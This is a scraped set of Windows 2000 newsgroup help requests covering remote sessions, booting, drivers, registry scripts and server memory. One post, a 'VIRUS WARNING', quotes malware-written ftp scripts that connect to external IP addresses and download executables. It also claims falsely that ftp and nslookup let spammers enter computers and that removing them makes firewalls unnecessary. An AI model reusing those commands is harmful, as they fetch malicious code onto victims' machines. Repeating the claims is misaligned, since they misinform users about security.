    - Terminal Services sessions timeout? I used to remotely administrate a Windows 2000 server with TightVNC. With TightVNC, I could log onto the server and start processes that run in DOS windows, lock the server and disconnect. I could then reconnect later on to the same session. Since the server was rebuilt, I am having to use Remote Desktop from a Windows XP client to administer the server. The problem with this is that it appears that these Remote Desktop sessions are timing out. I say this because when I remotely connect to the server I find no evidence that the processes that run in DOS windows are still running. The DOS windows have disappeared, and when I start the processes they begin a catch-up process that would not be necessary had they been running continuously. I have tried reinstalling TightVNC as a system service, but when I reboot the server and attempt a connection, I am informed that the server does not have a password set and until one is set I won't be able to connect to it. This is spite of having set the password! Any thoughts on the solution to either the Remote Desktop or TightVNC problem would be most gratefully received!

    - XP & 2K on same machine What size for each partition should I make on an 80 Gig HDD for both Win2K pro & XP operating systems? I'm thinking about 15 gig for each with extended partitions for data of equal sizes for each. I would like to keep the os partitions a small as possible. I have a Packard-Bell Easynote Laptop F0336-V-089 with Intel Celeron MCU 440 @ 1.86 GHZ processor with 2 gig of memory. I loaded Win2K but ran into driver problems so I guess I will have to load XP. I would like to still use my old HP flatbed scanner that won't run with XP so I guess I will need to load Win2K also. Any suggestions to achieve this will be appreciated.

    - My computer sometimes freezes coming out of standby. Greetings, group. I've been experiencing an annoying problem with my Windows 2000: I usually put my computer in "Standby" mode at night to kill fan and disk noise without wiping out contents of RAM. I prefer standby over shut-down because the computer can be shut-down and re-started MUCH faster that way. (About 2 seconds to shut down and 10 seconds to start up, as opposed to several minutes for each if I use shut-down.) The problem is, sometimes (about 20% of the time) when I push the "On" button to come out of standby mode, the computer freezes. The video doesn't come on (the monitor pilot light stays orange instead of going green), and the system doesn't respond to the keyboard. I have to push the Reset button and re-boot. When I check the event logs, there is nothing there for the initial attempt to come out of standby. It shows various services starting up after pushing Reset and rebooting, but it's as if the initial restart attempt never happened. Anyone have an idea as to what might be causing this, and how to fix it? -- Puzzled, Robbie Hatley lonewolf aatt well dott com www dott well dott com slant user slant lonewolf slant Tag: I no longer can open a web address from within another web site.

Hello, I'm looking for a backup software that would enable me to do the following in case of hard disk crash: 1/ boot from a CD containing the backup/restore program and a USB driver, 2/ plug an external USB disk containing the image of my crashed hard drive, 3/ then find this image from my CD, and restore it to a brand new internal hard disk. To sum up: I'm looking for a small software, allowing me to install it on a CD to boot from, on which I'll put a USB driver as well, to access an external USB disk containing my backups... I'd like to be able to backup an entire drive, whatever the filesystems (NTFS...) existing on them... Are there free programs to do that ? In advance, thanks very much.

    - missing pagefile.sys On reboot yesterday, the first in some weeks, Windows 2000 5.00.2195 SP4 encountered the subject: error exactly as described in http://support.microsoft.com/?id=315270 Efforts to follow the remedy stated are meeting difficulties. The pagefile is indeed defined and of size 800-1000 MB , the computer name is "w2k2." as it's been since inception several years ago. The difficulty starts in Step 3-f, as we don't have a "Computer Name" tab in the System Properties dialog, but it's possible to rationalize using the "Network Identification" tab instead, as it's the only possibility that makes sense. The larger difficulty comes in step 4, as there is no "File menu" from which to make the subsequent selections. What are we missing here please? There are a few services which haven't started due to "Error 5: Access is Denied" problems, and that's what prompted the reboot in the first place. Things are rather awkward as the machine is headless; we normally access it using the "VNC server" service, but that's one of the services that can't start. Is there any help available please?

    - Changing the Windows Explorer View to 'List' from 'icons' Hello, Windows 2000 SP4, Windows XP SP2, Windows 2003 AD Domain in Windows 2000 mode. I've written a script that changes the windows explorer view to 'list'. It works by writing values to the 'Streams' key in HKCU and seems to work fine when I run this as an administrator. However, when I login as a non-administrator, the view is still 'icons'. I have written a second script to interrogate the registry to verify that the changes that I made had been written successfully - they had. Given that the non-administrator user has group policy settings applied to them, would this be the reason why my registry changes are not taking effect? As far as I can tell, there is no mention of the 'Streams' key in the ADM files that are applied to the client/user. The following policies are applied to Windows Explorer and seem to update HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer Do not track shell shortcuts during roaming Hide these drives in My Computer Hide Manage on Explorer contect menu No 'Computers Near Me' in Network Places No 'Entire Network' in Network Places Prevent access to these drives in My Computer Remove DFS, Hardware Tabs Remove Search Remove UI to change Keyboard navigation indicator and menu animation settings Remove Folder Options on tools Turn on Classic Shell I have performed a test and updated my scripts to write to the 'Policies' Key (by adding the user to an administrative group). The results were that the registry entries were created, but again, no change was made in Windows Explorer Also I could not find a policy that defined the Windows Explorer view, otherwise I would have used that as a method of setting the view for the user. I've included below the script that modifies the registry - It does a check for XP or 2000 as we have both clients in our environment. Any help would be appreicated either in suggesting an alternative method of changing the explorer view, or suggestions why the registry changes are not being 'read' or 'applied' by users who have the GPO's applied.

    - *** VIRUS WARNING!!! *** I have discovered how Spammers are able to access people's Computers to spew out their Spyware garbage, and it is Microsoft's OS which has made this possible! Spammers utilize two commands: the "nslookup" Command and the "ftp" Command found in c:\winnt\system32 -- which you can review in the Windows Help Menu. Spammers can also use a HTML E-Mail you open on your Computer while logged onto the Internet to download a Virus. Those E-Mails you get from friends telling you to forward it on to others, in order to get good luck or money, are nothing but a SCAM perpetrated by the Spammers! DELETE those E-Mails -- DO NOT open them!!! Last month after separately opening two of those E-Mails, I ended up with a Virus on my Computer spewing out data over the Internet, and also the following two Text Files given the name "i" under the 'winnt' Directory. --- \winnt\i open 136.145.69.79 2755 user 1 1 get kp.exe quit --- \winnt\i open 208.111.5.228 2755 user 1 1 get 2k3.exe quit --- The Virus Commands I subsequently found under the 'winnt' or 'system32' Directories corresponded to the two ".exe" Files named in those two Text Files. I didn't know where those 4 Command Lines in those "i" Files were executable until just today when I looked up the "ftp" Command in Help. Those are 4 sub-commands which caused my Computer to open up the said IP Address and Port#, log in as the user 1 1, download the Virus Command, and then quit "ftp". Since I'm a Dial-up user, I immediately noticed something wrong because this immediately clogged up my Internet Connection. A High Speed user might not notice anything! It is unbelievable, but the "ftp" Command enables the Spammer to log onto your Computer WITHOUT using an ID and Password! Further, "ftp" enables the Spammer to prevent you from seeing what it is doing on your Computer!!! I'm not kidding! Further still, the "nslookup" Command enables the Spammer to find out your IP Numbers and Computer ID so that he can use the "ftp" Command! It is as if Microsoft specifically designed these two Commands to help Spammers! As far as I can tell, you cannot disable either of these Commands. You can rename "ftp.exe" to "ftp.exe.rename" and "nslookup.exe" to "nslookup.exe.rename" in order to make them non-executable, but I don't think this will solve the problem. Would a Microsoft Corporation technician please inform us if these two Command functions can be disabled? If not, Microsoft needs to IMMEDIATELY provide a Service Pack or update to enable these two functions to be disabled using the "net stop / start" Command. With these functions disabled, a Firewall Application becomes completely unnecessary! Tag: I no longer can open a web address from within another web site. Tag: 563362

    - background won't stick I have read the various posts on this issue but none fits exactly. Computer is operating on Windows XP connected to a server with full admin rights to the local machine. If we change the background it sticks for a while but then changes by itself and sort of tiles the image, but not exactly. It divides the large full screen picture and puts the bottom right corner of the picture in the top left corner of the screen and the top left part of the picture in the lower right corner of the machine. For example we put the coffee bean back ground on and it does fine for a while and later it will have the moon back ground image, divided as desribed above. I looked for the Active Desktop content check box and I don't see that under any of the tabs. any suggestions would be appreciated.

    - How do I remove the dual boot option? I have an old Win98 machine that is being donated to some kids. I wiped the drive and put a fresh install of Win98 from the original CD. I then upgraded it to Windows 2000 with the upgrade CD we bought a few years later. However when I upgraded I had the choice of totally removing W98 or adding Win2K to Win98. I chose total removal of Win98, and convert to NTFS file system. Now when I boot it asks me whether I want to use Microsoft Windows 2000 or Microsoft Windows. I didn't want this to be a dual boot machine. There is a Windows folder and a WINNT folder. How do I remove Windows98 completely (very small hard drive) and remove the dual boot option at the beginning so it only knows Windows 2000?

    - Repeat on boot-up Hey all...I have a kind of old HP at home with Windows 2000 Pro. I ran a virus scan the other day and found I had infected .dll files that couldn't be repaired. I chose to delete some of them, stupidly, and now the system goes into a loop when I power on. It shows the HP logo, then the WIndows 2000 loading screen (the bar fills up all the way), and then a blue screen and repeats over and over again. The F8 options do nothing.

    - Windows Service Pack 4 ~ Problems with the Registry I want to inform Windows 2000 users about problems which Service Pack 4 can cause. I can state from personal experience that installing Service Pack 4 can screw up some of your previously-installed Software. After installing SP4, my FaxTalk Modem Software didn't work properly, and using the Windows procedure to "Remove" and re-install it, didn't solve the problem. The Windows Remove procedure didn't remove the FaxTalk's contents in the Registry. Thankfully, the FaxTalk Website provided information to manually remove it from the Registry, and after doing that it re-installed correctly. So, if you should have some new problem with a Software Application after installing SP4, you need to manually remove (including from the Registry) and re-install the Software. Hopefully that will solve the problem. Tag: I no longer can open a web address from within another web site. Tag: 563291

The process stops with a setup error telling me to go to the W2k Service Pack Web site and select the 'Problems Downloading the Service Pack'. Apparently, I can get information about downloading a version of the service pack that does not need a Web connection. I CAN'T EVEN FIND THE SP WEB SITE!!! Can anyone help an aging newbie please?

    - can I delete hotfixes? Hi to all, I have 100 hotfixes installed on my system and would like to uninstall them - will this wreak havoc? my problem is very slow response time on my computer, and I have tried to speed it up by uninstalling old stuff and disabling other things with no change in speed. All of these hotfixes are the only things left. I'm running Win2k sp4... thanks to all, bob Tag: I no longer can open a web address from within another web site. Tag: 563261

When we unshare the folder, we got the error message "An error occurred while trying to delete share speech. The share must be removed from Distributed File System before it can be deleted". Do you have any suggestions on how to unshare the folder? Thanks. Diane Tag: I no longer can open a web address from within another web site. Tag: 563243

    - mouse pointer - double speed? Is there a way to get my logitech mouse (marble mouse trackball) to go at double speed? Even the "fast" box is much slower than the same option under windows 98se. Logitech doesn't respond, so, maybe someone here knows of an aftermarket program that will just double the motion speed of the mouse - ok?

    - Reboot? I have an odd situation that may (or may not) be related to my Win2K configuration. I run AVG antivirus on 4 machines all with Win2K. AVG is set to update automatically each day. Recently, on one machine only, the update software is demanding a machine reboot to complete the update. It didn't used to do this and none of the other machines do it and they are all receiving the same updates. This leads me to believe it's a difference in OS configuration which is necessitating this reboot. It's a minor nuisance but does anyone have any idea what might affect this?

    - Can't seem to make IE the default A few weeks back, an update for my W2K O/S might have had a gremlin or two in it. Anyway, since then whenever I use IE, I never get asked if I want to make it the default. (My normal browser is Opera.) However, it suits me to switch for a while. How can I make IE the default?

    - Reinstalling RAID Drivers Hi all, I have a Dell PowerEdge 2500 server, which has a PERC 3Di RAID controller in it, attached to two 36G drives, which are mirrored, running Windows 2000 SBS. We have been having problems lately, where one drive has been going offline - so the other day, we tried to install some of Tools from the Dell website, for diagnosis - unfortunately, one of them, it would appear, has somehow deleted or replaced the correct driver - after restarting (to complete an install of one of the tools), we now get a STOP Error: INACCESSIBLE_BOOT_DEVICE. The drives are online at the moment, the array is intact and the data seems to be on the disk (I've used a boot CD to get in and check the data) - so I'm thinking this must be a driver issue - especially given the nature of the stuff we were installing at the time. So my question: How do I get the correct driver installed if I can't get into Windows? I have the 2000 SBS install media, so I can run Recovery Console. I also have a valid, full, NTBACKUP backup of the system, again if that's any good (I was going to restore System State - but again, I can't get into Restore Mode because it won't boot). HELP! Thanks in advance, DSt. Tag: I no longer can open a web address from within another web site. Tag: 563192

    - dueal boot - blue and white screen On ASUS notebook with Windows XP Home attempted to make it dual boot to install W2K. Before dong any changes I copied original ntldr (245K) and ntdetect.com(47K). With Partition Magic created an NTFS primary partition and installed W2K Pro which went smoothly, and W2K was running OK XP Home would not start at all because, as I seem to remember, ntldr(211K) and ntdetect.com(34K) generated by W2K would not load XP, -so I replaced them with the those of XP Home I copied earlier. Now after selecting XPHome it produces the screen suggesting several modes of loading XP Home, but whatever mode I select it just restarts the computer. I replaced ntldr and ntdetect.com with ntldr(230K) and ntdetect.com(47K) from my working desktop. The first - booting into XP gave the same result, i.e. list of loading optioons and restarting the computer. But now W2K would not start. After shortly flashing that screen of starting W2K, it produced a blue_and_white screen of some gobbledegook among which there are english patterns like STOP: 0x000000A5 (0x00000002, 0x8907DE88,0x88FB23ó8,0x00000001) ASPI BIOS "readme.txt" http://www.hardware-update.com <F&> (I guess the remaining gobbledegook represent Cyrilics as the computer is localised for Russia) I placed the screenshot here: www.pifpaf.front.ru/blue_white_screen.jpg What might be the problem and the remedy?

    - cannot delete empty folders, cannot W-update, cannot inplace upgrade After giving up on the problem deleting recently emptied folders, I tried to update the W2K installation. This failed with a fairly common error message EOX..... the details of which I do not have access to for reasons explained below. None of the MS site suggestions allowed the windows update to begin. Assuming the W2K SP4 installation to be corrupt, I attempted to perform an in-place upgrade, booting from the installation CD with the correct raid drivers available during start-up. After failing to read spxcoins.dl_ off the installation disk, or off a subsequent floppy copy, the inplace upgrade stopped midway during final registry of devices. The spxcoins.dl_ is present on the install disk. The installation program does not display the files name's '.dl_' type, when 'browsing' for the 'missing' file. This is repeated for any subsequent attempt to complete the upgrade. As this is an ntfs installation on a raid device, I have no other operating systems or hardware to retrieve data off the drive, and no access to the second boot option WXP on the second raid hard drive, while the first is non-compos mentis. When I tried to install a temporary W2K OS in a drive mounted in an IDE position, I got the same errors. The correct raid drivers are loaded when booting from the installation CD, via floppy. Booting up into W2K, I get the message that the install did not complete and a run through of the same loop of missing .dl_file and stopped device registry. Any advice on: 1) completing the in-place upgrade 2) retreiving data 3) getting the temporary functional W2K OS installed on an IDE drive. ?

    - Users & Groups Win 2000 Server. I want to ad a user to the "Administrators" group who is now a member of the "domain user" group. Should I just add them to the Administrator and also leave them as a member of the domain user group, or remove them from the domain user group. I'm not sure if being a member of both groups is only redundant or could cause a problem. Danny Tag: I no longer can open a web address from within another web site. Tag: 563177

    - Windows 2000 Server StandardEdition /PAE Question Hi. I have a Windows 2000 Server Standard Edition, with 4GB of RAM installed. I also have SQL Server 2000 Standard Edition installed on the same server. I'd like Windows to 'see' all $GB of RAM and I've read articles on /PAE, but unfortunately some of these articles imply that Windows 2000 Server Standard Edition cannot use /PAE. So I have a couple of questions that I hope the group can answer: 1) Does Windows 2000 Server Standard Edition only support 2GB of RAM out of the box? 2) Can /PAE be enabled on 2000 Server Standard Edition to allow it to utilize all 4GB? Thanks in advance. PJ. Tag: I no longer can open a web address from within another web site. Tag: 563176
